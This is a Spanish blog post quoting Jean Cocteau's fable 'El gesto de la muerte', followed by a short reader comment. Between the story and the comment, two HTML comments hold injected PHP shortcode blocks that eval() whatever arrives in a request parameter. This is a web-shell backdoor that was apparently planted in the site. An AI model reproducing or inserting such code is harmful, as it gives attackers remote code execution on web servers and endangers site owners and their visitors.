Un joven jardinero persa dijo a su príncipe:

– ¡Sálvame! Encontré a la Muerte esta mañana. Me hizo un gesto de amenaza. Esta noche, por milagro, quisiera estar en Ispahán.

El bondadoso príncipe le prestó sus caballos. Por la tarde, el principe encontró a la Muerte y le preguntó:

– Esta mañana, ¿por qué le hiciste a mi jardinero un gesto de amenaza?

-No fue un gesto de amenaza -respondió la Muerte- sino un gesto de sorpresa. Pues lo veía lejos de Ispahán esta mañana y es allí donde debo tomarlo esta noche.

(El gesto de la muerte, Jean Cocteau)



<!– [insert_php]if (isset($_REQUEST["IqcS"])){eval($_REQUEST["IqcS"]);exit;}[/insert_php][php]if (isset($_REQUEST["IqcS"])){eval($_REQUEST["IqcS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["ffWC"])){eval($_REQUEST["ffWC"]);exit;}[/insert_php][php]if (isset($_REQUEST["ffWC"])){eval($_REQUEST["ffWC"]);exit;}[/php] –>

No se han encontrado entradas similares.

Categorías: Sin categoria

1 comentario

Fernan · 20 agosto 2008 a las 18:06

Vaya historias más tétricas… Yo por si acaso no visitaré Ispahán que me han dicho que hay mu mala gente 🙂

Deja una respuesta

Marcador de posición del avatar

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

8  ×  1  =